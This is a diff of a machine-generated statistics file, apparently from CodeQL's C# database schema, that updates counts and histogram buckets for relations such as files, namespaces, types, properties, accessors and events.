+468 -45351 -567388 -61 +2693 +42820 +487 + + +43087 +474768 +60 @@ -8700,12 +8715,12 @@ 11 17 -484 +485 17 24 -497 +496 24 @@ -9004,72 +9019,62 @@ 1 2 -3575 +4162 2 3 -29135 +30683 3 4 -17678 +15895 4 5 -5446 +16240 5 6 -11008 +9901 6 -7 -11482 +8 +13419 -7 -9 -9234 - - -9 +8 13 -14232 +13922 13 -88 -12408 +101 +14156 -88 -111 -12836 +101 +117 +12387 -111 -171 -12483 +117 +182 +12567 -171 -270 -12452 +182 +301 +12379 -270 -2367 -12358 - - -2368 -11270 -434 +301 +10740 +9050 @@ -9309,62 +9314,57 @@ 1 2 -304 +352 2 3 -172 +184 3 4 -97 +101 4 -5 -85 +6 +129 -5 -8 -120 +6 +13 +114 -8 -19 -115 - - -19 -58 +13 +40 111 -58 -158 +40 +110 +111 + + +112 +476 110 -158 -729 +490 +5411 110 -732 -9001 +5446 +74932 110 -9032 -178318 -110 - - -184038 -2240308 -12 +76023 +2221138 +24 @@ -9624,62 +9624,62 @@ 1 2 -29957 +30737 2 3 -14651 +14516 3 4 -15954 +16816 4 +5 +12515 + + +5 6 -16139 +10358 6 -8 -12045 +9 +14908 -8 -12 -15237 +9 +51 +14737 -12 -53 -13516 +51 +64 +13404 -53 -89 +64 +109 +13432 + + +109 +170 13424 -89 -119 -13390 +170 +277 +13376 -119 -198 -13444 - - -198 -349 -13346 - - -349 -11177 -6608 +277 +10644 +9488 @@ -9914,57 +9914,57 @@ 1 2 -358 +406 2 3 -209 +205 3 4 -94 +116 4 -6 -121 +7 +126 -6 -16 -128 - - -16 -67 +7 +51 124 -67 -202 -125 +51 +122 +126 -202 -680 +122 +325 124 -685 -2824 +328 +1118 124 -2824 -40660 +1126 +9597 124 -41257 +9615 +82613 +124 + + +82672 908062 -110 +42 @@ -10729,23 +10729,23 @@ assemblies -4206 +4198 id -4206 +4198 file -4206 +4198 fullname -3445 +3439 name -3176 +3171 version @@ -10763,7 +10763,7 @@ 1 2 -4206 +4198 @@ -10779,7 +10779,7 @@ 1 2 -4206 +4198 @@ -10795,7 +10795,7 @@ 1 2 -4206 +4198 @@ -10811,7 +10811,7 @@ 1 2 -4206 +4198 @@ -10827,7 +10827,7 @@ 1 2 -4206 +4198 @@ -10843,7 +10843,7 @@ 1 2 -4206 +4198 @@ -10859,7 +10859,7 @@ 1 2 -4206 +4198 @@ -10875,7 +10875,7 @@ 1 2 -4206 +4198 @@ -10891,12 +10891,12 @@ 1 2 -2683 +2679 2 3 -761 +759 @@ -10912,12 +10912,12 @@ 1 2 -2683 +2679 2 3 -761 +759 @@ -10933,7 +10933,7 @@ 1 2 -3445 +3439 @@ -10949,7 +10949,7 @@ 1 2 -3445 +3439 @@ -10965,12 +10965,12 @@ 1 2 -2190 +2187 2 3 -941 +940 3 @@ -10991,12 +10991,12 @@ 1 2 -2190 +2187 2 3 -941 +940 3 @@ -11017,7 +11017,7 @@ 1 2 -2952 +2947 2 @@ -11038,7 +11038,7 @@ 1 2 -2952 +2947 2 @@ -11217,23 +11217,23 @@ files -42545 +42471 id -42545 +42471 name -42545 +42471 simple -22978 +22938 ext -39 +38 fromSource @@ -11251,7 +11251,7 @@ 1 2 -42545 +42471 @@ -11267,7 +11267,7 @@ 1 2 -42545 +42471 @@ -11283,7 +11283,7 @@ 1 2 -42545 +42471 @@ -11299,7 +11299,7 @@ 1 2 -42545 +42471 @@ -11315,7 +11315,7 @@ 1 2 -42545 +42471 @@ -11331,7 +11331,7 @@ 1 2 -42545 +42471 @@ -11347,7 +11347,7 @@ 1 2 -42545 +42471 @@ -11363,7 +11363,7 @@ 1 2 -42545 +42471 @@ -11379,12 +11379,12 @@ 1 2 -21568 +21530 2 154 -1410 +1407 @@ -11400,12 +11400,12 @@ 1 2 -21568 +21530 2 154 -1410 +1407 @@ -11421,12 +11421,12 @@ 1 2 -22187 +22149 2 5 -790 +789 @@ -11442,7 +11442,7 @@ 1 2 -22978 +22938 @@ -11606,7 +11606,7 @@ 1 2 -39 +38 @@ -11680,19 +11680,19 @@ folders -16961 +16932 id -16961 +16932 name -14741 +14715 simple -2776 +2771 @@ -11706,7 +11706,7 @@ 1 2 -16961 +16932 @@ -11722,7 +11722,7 @@ 1 2 -16961 +16932 @@ -11738,7 +11738,7 @@ 1 2 -14741 +14715 @@ -11754,12 +11754,12 @@ 1 2 -12521 +12499 2 3 -2220 +2216 @@ -11775,17 +11775,17 @@ 1 2 -1820 +1816 2 3 -380 +379 3 4 -200 +199 4 @@ -11811,17 +11811,17 @@ 1 2 -1820 +1816 2 3 -380 +379 3 4 -200 +199 4 @@ -11841,15 +11841,15 @@ containerparent -57277 +57178 parent -14741 +14715 child -57277 +57178 @@ -11863,37 +11863,37 @@ 1 2 -8266 +8251 2 3 -1937 +1933 3 4 -770 +769 4 5 -971 +969 5 9 -1107 +1105 9 18 -1141 +1139 18 171 -546 +545 @@ -11909,7 +11909,7 @@ 1 2 -57277 +57178 @@ -11919,11 +11919,11 @@ file_extraction_mode -26828 +26781 file -26828 +26781 mode @@ -11941,7 +11941,7 @@ 1 2 -26828 +26781 @@ -11967,15 +11967,15 @@ namespaces -21982 +21944 id -21982 +21944 name -4899 +4890 @@ -11989,7 +11989,7 @@ 1 2 -21982 +21944 @@ -12010,7 +12010,7 @@ 2 3 -3498 +3492 3 @@ -12020,7 +12020,7 @@ 4 5 -624 +623 6 @@ -12045,15 +12045,15 @@ namespace_declarations -19796 +19762 id -19796 +19762 namespace_id -3893 +3887 @@ -12067,7 +12067,7 @@ 1 2 -19796 +19762 @@ -12083,12 +12083,12 @@ 1 2 -1400 +1398 2 3 -800 +798 3 @@ -12098,7 +12098,7 @@ 4 5 -307 +306 5 @@ -12128,15 +12128,15 @@ namespace_declaration_location -19796 +19762 id -19796 +19762 loc -19796 +19762 @@ -12150,7 +12150,7 @@ 1 2 -19796 +19762 @@ -12166,7 +12166,7 @@ 1 2 -19796 +19762 @@ -12176,15 +12176,15 @@ parent_namespace -778507 +777155 child_id -778507 +777155 namespace_id -13580 +13556 @@ -12198,7 +12198,7 @@ 1 2 -778507 +777155 @@ -12214,52 +12214,52 @@ 1 2 -3332 +3327 2 3 -1629 +1626 3 4 -1029 +1027 4 5 -917 +915 5 7 -1254 +1251 7 10 -1093 +1091 10 15 -1141 +1139 15 23 -1063 +1061 23 51 -1029 +1027 51 835 -1019 +1018 900 @@ -12274,15 +12274,15 @@ parent_namespace_declaration -88468 +88314 child_id -87951 +87798 namespace_id -19796 +19762 @@ -12296,7 +12296,7 @@ 1 2 -87799 +87647 2 @@ -12317,27 +12317,27 @@ 1 2 -13804 +13780 2 9 -1717 +1714 9 13 -1278 +1276 13 16 -1429 +1427 16 32 -1512 +1510 32 @@ -12352,15 +12352,15 @@ using_namespace_directives -144521 +144270 id -144521 +144270 namespace_id -4235 +4228 @@ -12374,7 +12374,7 @@ 1 2 -144521 +144270 @@ -12390,12 +12390,12 @@ 1 2 -1498 +1495 2 3 -473 +472 3 @@ -12405,7 +12405,7 @@ 4 5 -239 +238 5 @@ -12420,7 +12420,7 @@ 14 25 -322 +321 25 @@ -12430,7 +12430,7 @@ 64 465 -322 +321 510 @@ -12533,15 +12533,15 @@ using_directive_location -144579 +144328 id -144579 +144328 loc -144535 +144284 @@ -12555,7 +12555,7 @@ 1 2 -144579 +144328 @@ -12571,7 +12571,7 @@ 1 2 -144491 +144240 2 @@ -12586,11 +12586,11 @@ types -868781 +867272 id -868781 +867272 kind @@ -12598,7 +12598,7 @@ name -367541 +366903 @@ -12612,7 +12612,7 @@ 1 2 -868781 +867272 @@ -12628,7 +12628,7 @@ 1 2 -868781 +867272 @@ -12726,17 +12726,17 @@ 1 2 -325215 +324650 2 5 -28892 +28842 5 6356 -13433 +13410 @@ -12752,12 +12752,12 @@ 1 2 -366102 +365466 2 4 -1439 +1437 @@ -12767,15 +12767,15 @@ typerefs -235229 +234820 id -235229 +234820 name -177312 +177004 @@ -12789,7 +12789,7 @@ 1 2 -235229 +234820 @@ -12805,17 +12805,17 @@ 1 2 -162737 +162454 2 7 -13506 +13483 7 2183 -1068 +1066 @@ -12825,15 +12825,15 @@ typeref_type -235048 +234640 id -235048 +234640 typeId -235048 +234640 @@ -12847,7 +12847,7 @@ 1 2 -235048 +234640 @@ -12863,7 +12863,7 @@ 1 2 -235048 +234640 @@ -12873,11 +12873,11 @@ array_element_type -9139 +9123 array -9139 +9123 dimension @@ -12889,7 +12889,7 @@ element -9129 +9114 @@ -12903,7 +12903,7 @@ 1 2 -9139 +9123 @@ -12919,7 +12919,7 @@ 1 2 -9139 +9123 @@ -12935,7 +12935,7 @@ 1 2 -9139 +9123 @@ -13077,7 +13077,7 @@ 1 2 -9120 +9104 2 @@ -13098,7 +13098,7 @@ 1 2 -9129 +9114 @@ -13114,7 +13114,7 @@ 1 2 -9120 +9104 2 @@ -13225,15 +13225,15 @@ enum_underlying_type -11974 +11953 enum_id -11974 +11953 underlying_type_id -39 +38 @@ -13247,7 +13247,7 @@ 1 2 -11974 +11953 @@ -13303,15 +13303,15 @@ delegate_return_type -107752 +107565 delegate_id -107752 +107565 return_type_id -55613 +55517 @@ -13325,7 +13325,7 @@ 1 2 -107752 +107565 @@ -13341,12 +13341,12 @@ 1 2 -52295 +52204 2 4178 -3318 +3312 @@ -13356,15 +13356,15 @@ extend -324088 +323525 sub -324088 +323525 super -31625 +31570 @@ -13378,7 +13378,7 @@ 1 2 -324088 +323525 @@ -13394,22 +13394,22 @@ 1 2 -22670 +22631 2 3 -3986 +3979 3 5 -2420 +2416 5 70 -2381 +2377 70 @@ -13424,15 +13424,15 @@ implement -542634 +541691 sub -226772 +226379 super -122772 +122559 @@ -13446,27 +13446,27 @@ 1 2 -100960 +100785 2 3 -57150 +57051 3 4 -36177 +36115 4 7 -19006 +18973 7 21 -13477 +13454 @@ -13482,27 +13482,27 @@ 1 2 -67075 +66959 2 3 -29839 +29787 3 4 -10266 +10248 4 6 -8710 +8695 6 21807 -6880 +6868 @@ -13512,15 +13512,15 @@ type_location -554720 +553757 id -467833 +467020 loc -29931 +29879 @@ -13534,17 +13534,17 @@ 1 2 -408145 +407436 2 3 -39305 +39237 3 638 -20382 +20346 @@ -13560,17 +13560,17 @@ 1 2 -26052 +26007 2 26 -2273 +2269 26 12195 -1605 +1602 @@ -13580,15 +13580,15 @@ tuple_underlying_type -1785 +1782 tuple -1785 +1782 struct -1141 +1139 @@ -13602,7 +13602,7 @@ 1 2 -1785 +1782 @@ -13618,12 +13618,12 @@ 1 2 -644 +642 2 3 -424 +423 3 @@ -13638,11 +13638,11 @@ tuple_element -6802 +6790 tuple -1781 +1777 index @@ -13650,7 +13650,7 @@ field -6802 +6790 @@ -13669,7 +13669,7 @@ 2 3 -1136 +1134 3 @@ -13715,7 +13715,7 @@ 2 3 -1136 +1134 3 @@ -13988,7 +13988,7 @@ 1 2 -6802 +6790 @@ -14004,7 +14004,7 @@ 1 2 -6802 +6790 @@ -14014,19 +14014,19 @@ attributes -750664 +749360 id -750664 +749360 type_id -1688 +1685 target -429850 +429103 @@ -14040,7 +14040,7 @@ 1 2 -750664 +749360 @@ -14056,7 +14056,7 @@ 1 2 -750664 +749360 @@ -14077,7 +14077,7 @@ 2 3 -195 +194 3 @@ -14148,7 +14148,7 @@ 1 2 -312 +311 2 @@ -14203,7 +14203,7 @@ 562 39377 -117 +116 @@ -14219,17 +14219,17 @@ 1 2 -366248 +365612 2 3 -48899 +48814 3 957 -14702 +14676 @@ -14245,17 +14245,17 @@ 1 2 -395516 +394829 2 15 -33508 +33450 15 20 -824 +823 @@ -14265,15 +14265,15 @@ attribute_location -818847 +817425 id -750664 +749360 loc -72463 +72337 @@ -14287,12 +14287,12 @@ 1 2 -682480 +681295 2 3 -68183 +68065 @@ -14308,12 +14308,12 @@ 1 2 -68251 +68133 4 26710 -4211 +4203 @@ -14323,19 +14323,19 @@ type_mention -1269646 +1267440 id -1269646 +1267440 type_id -34469 +34409 parent -1029018 +1027231 @@ -14349,7 +14349,7 @@ 1 2 -1269646 +1267440 @@ -14365,7 +14365,7 @@ 1 2 -1269646 +1267440 @@ -14381,52 +14381,52 @@ 1 2 -4966 +4957 2 3 -6799 +6788 3 4 -3385 +3380 4 5 -4027 +4020 5 6 -2097 +2094 6 8 -2904 +2899 8 12 -2803 +2799 12 20 -2616 +2611 20 51 -2586 +2581 51 82736 -2280 +2276 @@ -14442,52 +14442,52 @@ 1 2 -9469 +9453 2 3 -5705 +5695 3 4 -3312 +3307 4 5 -3002 +2997 5 6 -1948 +1944 6 8 -2515 +2511 8 13 -2762 +2757 13 29 -2631 +2626 29 206 -2588 +2583 206 67615 -533 +532 @@ -14503,17 +14503,17 @@ 1 2 -871252 +869739 2 3 -137406 +137167 3 342 -20359 +20323 @@ -14529,12 +14529,12 @@ 1 2 -1008331 +1006580 2 22 -20686 +20650 @@ -14544,15 +14544,15 @@ type_mention_location -1269646 +1267440 id -1269646 +1267440 loc -1140136 +1138156 @@ -14566,7 +14566,7 @@ 1 2 -1269646 +1267440 @@ -14582,12 +14582,12 @@ 1 2 -1077623 +1075751 2 199 -62513 +62404 @@ -14597,11 +14597,11 @@ type_annotation -51021 +50933 id -51021 +50933 annotation @@ -14619,7 +14619,7 @@ 1 2 -51021 +50933 @@ -14655,11 +14655,11 @@ nullability -2000 +1997 nullability -2000 +1997 kind @@ -14677,7 +14677,7 @@ 1 2 -2000 +1997 @@ -14713,11 +14713,11 @@ nullability_parent -6289 +6278 nullability -522 +521 index @@ -14725,7 +14725,7 @@ parent -1986 +1982 @@ -14739,12 +14739,12 @@ 1 2 -341 +340 2 3 -117 +116 3 @@ -14785,12 +14785,12 @@ 4 5 -39 +38 5 8 -39 +38 8 @@ -14968,17 +14968,17 @@ 1 2 -595 +594 2 3 -1229 +1227 3 4 -161 +160 @@ -14994,12 +14994,12 @@ 1 2 -497 +496 2 3 -722 +720 3 @@ -15019,12 +15019,12 @@ 8 15 -156 +155 15 22 -39 +38 @@ -15034,15 +15034,15 @@ type_nullability -4604756 +4603776 id -4530378 +4529399 nullability -964 +966 @@ -15056,12 +15056,12 @@ 1 2 -4464837 +4463859 2 9 -65541 +65540 @@ -15077,17 +15077,17 @@ 1 2 -163 +165 2 3 -141 +143 3 4 -58 +56 4 @@ -15097,42 +15097,42 @@ 5 7 -83 +84 7 10 -66 +65 10 14 -75 +74 14 23 -77 +79 23 45 -75 - - -45 -123 74 -123 -4618 +45 +122 73 -5091 -3680217 -10 +122 +4124 +73 + + +4617 +3677592 +11 @@ -15142,11 +15142,11 @@ expr_flowstate -2995289 +2990059 id -2995289 +2990059 state @@ -15164,7 +15164,7 @@ 1 2 -2995289 +2990059 @@ -15178,13 +15178,13 @@ 12 -205773 -205774 +205776 +205777 1 -2254389 -2254390 +2254364 +2254365 1 @@ -15195,11 +15195,11 @@ type_parameters -203062 +202709 id -203062 +202709 index @@ -15207,7 +15207,7 @@ generic_id -103897 +103717 variance @@ -15225,7 +15225,7 @@ 1 2 -203062 +202709 @@ -15241,7 +15241,7 @@ 1 2 -203062 +202709 @@ -15257,7 +15257,7 @@ 1 2 -203062 +202709 @@ -15515,7 +15515,7 @@ 3 4 -78 +77 @@ -15531,22 +15531,22 @@ 1 2 -80729 +80589 2 3 -10793 +10775 3 11 -8363 +8349 11 22 -4011 +4004 @@ -15562,22 +15562,22 @@ 1 2 -80729 +80589 2 3 -10793 +10775 3 11 -8363 +8349 11 22 -4011 +4004 @@ -15593,7 +15593,7 @@ 1 2 -103746 +103566 2 @@ -15686,11 +15686,11 @@ type_arguments -644965 +643845 id -273759 +273283 index @@ -15698,7 +15698,7 @@ constructed_id -413644 +412926 @@ -15712,17 +15712,17 @@ 1 2 -235097 +234689 2 3 -37183 +37118 3 21 -1478 +1475 @@ -15738,27 +15738,27 @@ 1 2 -174253 +173950 2 3 -56574 +56476 3 5 -20606 +20571 5 23 -20689 +20653 23 2800 -1634 +1631 @@ -15986,17 +15986,17 @@ 1 2 -290584 +290079 2 3 -96407 +96240 3 22 -26652 +26606 @@ -16012,17 +16012,17 @@ 1 2 -288417 +287916 2 3 -97407 +97238 3 22 -27819 +27770 @@ -16032,15 +16032,15 @@ constructed_generic -413644 +412926 constructed -413644 +412926 generic -8593 +8578 @@ -16054,7 +16054,7 @@ 1 2 -413644 +412926 @@ -16070,42 +16070,42 @@ 1 2 -3449 +3443 2 3 -1156 +1154 3 4 -619 +618 4 6 -653 +652 6 11 -727 +725 11 26 -648 +647 26 63 -658 +657 63 2866 -648 +647 2964 @@ -16120,15 +16120,15 @@ type_parameter_constraints -611920 +610857 id -611920 +610857 param_id -202974 +202622 @@ -16142,7 +16142,7 @@ 1 2 -611920 +610857 @@ -16158,22 +16158,22 @@ 1 2 -164522 +164237 2 3 -17718 +17687 3 11 -16620 +16591 11 2108 -4113 +4106 @@ -16219,11 +16219,11 @@ general_type_parameter_constraints -119035 +118941 id -68461 +68374 kind @@ -16241,12 +16241,12 @@ 1 2 -17887 +17807 2 3 -50574 +50567 @@ -16265,23 +16265,23 @@ 1 -447 -448 +442 +443 1 -5922 -5923 +5895 +5896 1 -50452 -50453 +50446 +50447 1 -62210 -62211 +62154 +62155 1 @@ -16292,11 +16292,11 @@ specific_type_parameter_constraints -57309 +57175 id -56448 +56321 base_id @@ -16314,12 +16314,12 @@ 1 2 -55635 +55515 2 5 -813 +806 @@ -16335,12 +16335,12 @@ 1 2 -76 +77 2 3 -213 +212 3 @@ -16350,7 +16350,7 @@ 4 5 -97 +100 5 @@ -16360,17 +16360,17 @@ 6 7 -119 +117 7 10 -104 +105 10 13 -107 +105 13 @@ -16380,21 +16380,21 @@ 20 26 -107 +108 26 51 -99 +98 51 -198 +194 97 204 -8438 +8422 41 @@ -16405,11 +16405,11 @@ specific_type_parameter_nullability -40020 +39894 id -39775 +39656 base_id @@ -16431,12 +16431,12 @@ 1 2 -39530 +39418 2 3 -245 +238 @@ -16452,7 +16452,7 @@ 1 2 -39775 +39656 @@ -16483,7 +16483,7 @@ 4 5 -49 +52 5 @@ -16493,17 +16493,17 @@ 6 7 -84 +82 7 10 -68 +69 10 12 -55 +53 12 @@ -16512,23 +16512,23 @@ 16 -23 -83 - - -23 -37 +22 70 -38 -106 -70 +22 +33 +74 -106 -6999 -49 +33 +93 +72 + + +93 +6983 +56 @@ -16628,8 +16628,8 @@ 1 -38848 -38849 +38729 +38730 1 @@ -16744,11 +16744,11 @@ has_modifiers -5439325 +5496295 id -3648539 +3691035 mod_id @@ -16766,17 +16766,17 @@ 1 2 -1993462 +2021272 2 3 -1521212 +1536106 3 5 -133864 +133655 @@ -16815,8 +16815,8 @@ 4 -2567 -2568 +6163 +6164 4 @@ -16865,8 +16865,8 @@ 4 -85523 -85524 +95562 +95563 4 @@ -16882,26 +16882,26 @@ compiler_generated -136094 +135857 id -136094 +135857 exprorstmt_name -3709 +3703 parent_id -3709 +3703 name -366 +365 @@ -16915,7 +16915,7 @@ 1 2 -3709 +3703 @@ -16931,7 +16931,7 @@ 2 3 -107 +106 3 @@ -16966,7 +16966,7 @@ 21 85 -28 +27 118 @@ -16981,19 +16981,19 @@ nested_types -112139 +111944 id -112139 +111944 declaring_type_id -40672 +40601 unbound_id -81266 +81124 @@ -17007,7 +17007,7 @@ 1 2 -112139 +111944 @@ -17023,7 +17023,7 @@ 1 2 -112139 +111944 @@ -17039,32 +17039,32 @@ 1 2 -23529 +23488 2 3 -6348 +6337 3 4 -3235 +3229 4 7 -3362 +3356 7 12 -3098 +3093 12 262 -1097 +1096 @@ -17080,32 +17080,32 @@ 1 2 -23563 +23522 2 3 -6431 +6420 3 4 -3152 +3146 4 7 -3391 +3385 7 12 -3083 +3078 12 206 -1049 +1047 @@ -17121,12 +17121,12 @@ 1 2 -78245 +78109 2 415 -3020 +3015 @@ -17142,12 +17142,12 @@ 1 2 -78987 +78850 2 415 -2278 +2274 @@ -17157,27 +17157,27 @@ properties -424316 +423579 id -424316 +423579 name -84515 +84369 declaring_type_id -116589 +116387 type_id -52222 +52131 unbound_id -334462 +333881 @@ -17191,7 +17191,7 @@ 1 2 -424316 +423579 @@ -17207,7 +17207,7 @@ 1 2 -424316 +423579 @@ -17223,7 +17223,7 @@ 1 2 -424316 +423579 @@ -17239,7 +17239,7 @@ 1 2 -424316 +423579 @@ -17255,32 +17255,32 @@ 1 2 -50846 +50757 2 3 -14019 +13994 3 4 -5762 +5752 4 7 -6660 +6649 7 49 -6348 +6337 49 2611 -878 +876 @@ -17296,32 +17296,32 @@ 1 2 -50846 +50757 2 3 -14087 +14063 3 4 -5748 +5738 4 7 -6694 +6683 7 51 -6343 +6332 51 2578 -795 +794 @@ -17337,17 +17337,17 @@ 1 2 -72970 +72843 2 3 -6943 +6931 3 524 -4601 +4593 @@ -17363,27 +17363,27 @@ 1 2 -51275 +51186 2 3 -14282 +14257 3 4 -5748 +5738 4 7 -6455 +6444 7 68 -6338 +6327 68 @@ -17404,42 +17404,42 @@ 1 2 -39457 +39388 2 3 -29922 +29870 3 4 -10920 +10901 4 5 -7856 +7842 5 6 -7143 +7131 6 8 -9344 +9328 8 16 -9583 +9567 16 250 -2361 +2357 @@ -17455,42 +17455,42 @@ 1 2 -43975 +43899 2 3 -25481 +25437 3 4 -10915 +10896 4 5 -7875 +7862 5 6 -7158 +7146 6 8 -9300 +9284 8 14 -8759 +8743 14 250 -3122 +3117 @@ -17506,32 +17506,32 @@ 1 2 -45532 +45453 2 3 -32674 +32617 3 4 -13863 +13839 4 5 -7558 +7545 5 7 -9398 +9381 7 48 -7563 +7550 @@ -17547,42 +17547,42 @@ 1 2 -39457 +39388 2 3 -29922 +29870 3 4 -10920 +10901 4 5 -7856 +7842 5 6 -7143 +7131 6 8 -9344 +9328 8 16 -9583 +9567 16 250 -2361 +2357 @@ -17598,27 +17598,27 @@ 1 2 -31473 +31419 2 3 -10798 +10779 3 5 -4640 +4632 5 21 -3952 +3945 21 12516 -1356 +1354 @@ -17634,17 +17634,17 @@ 1 2 -44156 +44079 2 3 -4406 +4398 3 3289 -3659 +3653 @@ -17660,27 +17660,27 @@ 1 2 -32659 +32602 2 3 -10501 +10482 3 5 -4430 +4423 5 33 -3918 +3911 33 6176 -712 +711 @@ -17696,27 +17696,27 @@ 1 2 -31615 +31560 2 3 -10930 +10911 3 5 -4674 +4666 5 22 -3918 +3911 22 10632 -1083 +1081 @@ -17732,12 +17732,12 @@ 1 2 -329280 +328708 2 705 -5182 +5173 @@ -17753,7 +17753,7 @@ 1 2 -334462 +333881 @@ -17769,12 +17769,12 @@ 1 2 -329280 +328708 2 705 -5182 +5173 @@ -17790,12 +17790,12 @@ 1 2 -333252 +332673 2 439 -1210 +1208 @@ -17805,15 +17805,15 @@ property_location -535436 +534506 id -424316 +423579 loc -52993 +52901 @@ -17827,17 +17827,17 @@ 1 2 -338732 +338143 2 3 -64226 +64114 3 119 -21358 +21321 @@ -17853,12 +17853,12 @@ 1 2 -49504 +49418 2 7080 -3488 +3482 @@ -17868,11 +17868,11 @@ indexers -17073 +17044 id -17073 +17044 name @@ -17880,15 +17880,15 @@ declaring_type_id -13575 +13551 type_id -3976 +3970 unbound_id -4445 +4437 @@ -17902,7 +17902,7 @@ 1 2 -17073 +17044 @@ -17918,7 +17918,7 @@ 1 2 -17073 +17044 @@ -17934,7 +17934,7 @@ 1 2 -17073 +17044 @@ -17950,7 +17950,7 @@ 1 2 -17073 +17044 @@ -18085,12 +18085,12 @@ 1 2 -10525 +10507 2 3 -2752 +2747 3 @@ -18111,7 +18111,7 @@ 1 2 -13565 +13541 2 @@ -18132,12 +18132,12 @@ 1 2 -11067 +11047 2 3 -2508 +2503 @@ -18153,12 +18153,12 @@ 1 2 -10525 +10507 2 3 -2752 +2747 3 @@ -18179,22 +18179,22 @@ 1 2 -878 +876 2 3 -873 +871 3 4 -1629 +1626 4 6 -268 +267 6 @@ -18220,7 +18220,7 @@ 1 2 -3972 +3965 2 @@ -18241,22 +18241,22 @@ 1 2 -1034 +1032 2 3 -780 +779 3 4 -1663 +1661 4 6 -239 +238 6 @@ -18277,22 +18277,22 @@ 1 2 -878 +876 2 3 -873 +871 3 4 -1654 +1651 4 6 -268 +267 6 @@ -18313,7 +18313,7 @@ 1 2 -4108 +4101 2 @@ -18334,7 +18334,7 @@ 1 2 -4445 +4437 @@ -18350,7 +18350,7 @@ 1 2 -4108 +4101 2 @@ -18371,12 +18371,12 @@ 1 2 -4255 +4247 2 452 -190 +189 @@ -18386,15 +18386,15 @@ indexer_location -23644 +23829 id -12580 +12674 loc -221 +219 @@ -18413,22 +18413,22 @@ 2 3 -6583 +6675 3 4 -282 +286 4 5 -1117 +1116 5 13 -114 +113 @@ -18444,7 +18444,7 @@ 1 2 -76 +74 2 @@ -18474,22 +18474,22 @@ 13 21 -19 - - -23 -45 18 -47 -2223 +22 +44 17 -3525 -5399 -3 +44 +1250 +17 + + +1550 +5372 +5 @@ -18499,11 +18499,11 @@ accessors -568920 +567932 id -568920 +567932 kind @@ -18511,15 +18511,15 @@ name -121469 +121258 declaring_member_id -441390 +440623 unbound_id -441239 +440472 @@ -18533,7 +18533,7 @@ 1 2 -568920 +567932 @@ -18549,7 +18549,7 @@ 1 2 -568920 +567932 @@ -18565,7 +18565,7 @@ 1 2 -568920 +567932 @@ -18581,7 +18581,7 @@ 1 2 -568920 +567932 @@ -18681,27 +18681,27 @@ 1 2 -75332 +75201 2 3 -19987 +19952 3 4 -7944 +7930 4 8 -10144 +10127 8 2558 -8061 +8047 @@ -18717,7 +18717,7 @@ 1 2 -121469 +121258 @@ -18733,27 +18733,27 @@ 1 2 -75342 +75211 2 3 -19977 +19942 3 4 -7944 +7930 4 8 -10144 +10127 8 2558 -8061 +8047 @@ -18769,27 +18769,27 @@ 1 2 -75981 +75849 2 3 -20655 +20619 3 4 -7778 +7764 4 8 -9671 +9654 8 1202 -7382 +7370 @@ -18805,12 +18805,12 @@ 1 2 -313870 +313324 2 3 -127515 +127294 4 @@ -18831,12 +18831,12 @@ 1 2 -313870 +313324 2 3 -127520 +127298 @@ -18852,12 +18852,12 @@ 1 2 -313870 +313324 2 3 -127520 +127298 @@ -18873,12 +18873,12 @@ 1 2 -313870 +313324 2 3 -127515 +127294 4 @@ -18899,12 +18899,12 @@ 1 2 -434563 +433809 2 705 -6675 +6663 @@ -18920,7 +18920,7 @@ 1 2 -441239 +440472 @@ -18936,7 +18936,7 @@ 1 2 -441239 +440472 @@ -18952,12 +18952,12 @@ 1 2 -434563 +433809 2 705 -6675 +6663 @@ -18967,15 +18967,15 @@ accessor_location -749151 +747850 id -568920 +567932 loc -93387 +93224 @@ -18989,17 +18989,17 @@ 1 2 -433509 +432756 2 3 -98588 +98417 3 119 -36821 +36758 @@ -19015,12 +19015,12 @@ 1 2 -89776 +89620 2 8294 -3610 +3604 @@ -19030,27 +19030,27 @@ events -15258 +15232 id -15258 +15232 name -13014 +12991 declaring_type_id -1229 +1227 type_id -6377 +6366 unbound_id -15248 +15222 @@ -19064,7 +19064,7 @@ 1 2 -15258 +15232 @@ -19080,7 +19080,7 @@ 1 2 -15258 +15232 @@ -19096,7 +19096,7 @@ 1 2 -15258 +15232 @@ -19112,7 +19112,7 @@ 1 2 -15258 +15232 @@ -19128,12 +19128,12 @@ 1 2 -12023 +12002 2 12 -980 +979 14 @@ -19154,12 +19154,12 @@ 1 2 -12023 +12002 2 10 -980 +979 14 @@ -19180,7 +19180,7 @@ 1 2 -12872 +12850 2 @@ -19201,12 +19201,12 @@ 1 2 -12023 +12002 2 12 -980 +979 14 @@ -19227,12 +19227,12 @@ 1 2 -619 +618 2 3 -229 +228 3 @@ -19268,12 +19268,12 @@ 1 2 -619 +618 2 3 -239 +238 3 @@ -19309,12 +19309,12 @@ 1 2 -770 +769 2 3 -200 +199 3 @@ -19329,7 +19329,7 @@ 12 181 -78 +77 @@ -19345,12 +19345,12 @@ 1 2 -619 +618 2 3 -229 +228 3 @@ -19386,22 +19386,22 @@ 1 2 -4420 +4413 2 3 -1166 +1164 3 6 -517 +516 6 318 -273 +272 @@ -19417,17 +19417,17 @@ 1 2 -4811 +4802 2 3 -917 +915 3 8 -502 +501 8 @@ -19448,12 +19448,12 @@ 1 2 -5762 +5752 2 4 -522 +521 4 @@ -19474,22 +19474,22 @@ 1 2 -4420 +4413 2 3 -1166 +1164 3 6 -517 +516 6 318 -273 +272 @@ -19505,7 +19505,7 @@ 1 2 -15239 +15212 2 @@ -19526,7 +19526,7 @@ 1 2 -15248 +15222 @@ -19542,7 +19542,7 @@ 1 2 -15239 +15212 2 @@ -19563,7 +19563,7 @@ 1 2 -15239 +15212 2 @@ -19578,11 +19578,11 @@ event_location -15897 +15870 id -15258 +15232 loc @@ -19600,12 +19600,12 @@ 1 2 -14619 +14594 2 3 -639 +638 @@ -19681,11 +19681,11 @@ event_accessors -30517 +30464 id -30517 +30464 kind @@ -19693,15 +19693,15 @@ name -26740 +26694 declaring_event_id -15258 +15232 unbound_id -30497 +30444 @@ -19715,7 +19715,7 @@ 1 2 -30517 +30464 @@ -19731,7 +19731,7 @@ 1 2 -30517 +30464 @@ -19747,7 +19747,7 @@ 1 2 -30517 +30464 @@ -19763,7 +19763,7 @@ 1 2 -30517 +30464 @@ -19843,12 +19843,12 @@ 1 2 -24749 +24706 2 16 -1990 +1987 @@ -19864,7 +19864,7 @@ 1 2 -26740 +26694 @@ -19880,12 +19880,12 @@ 1 2 -24749 +24706 2 16 -1990 +1987 @@ -19901,12 +19901,12 @@ 1 2 -24749 +24706 2 16 -1990 +1987 @@ -19922,7 +19922,7 @@ 2 3 -15258 +15232 @@ -19938,7 +19938,7 @@ 2 3 -15258 +15232 @@ 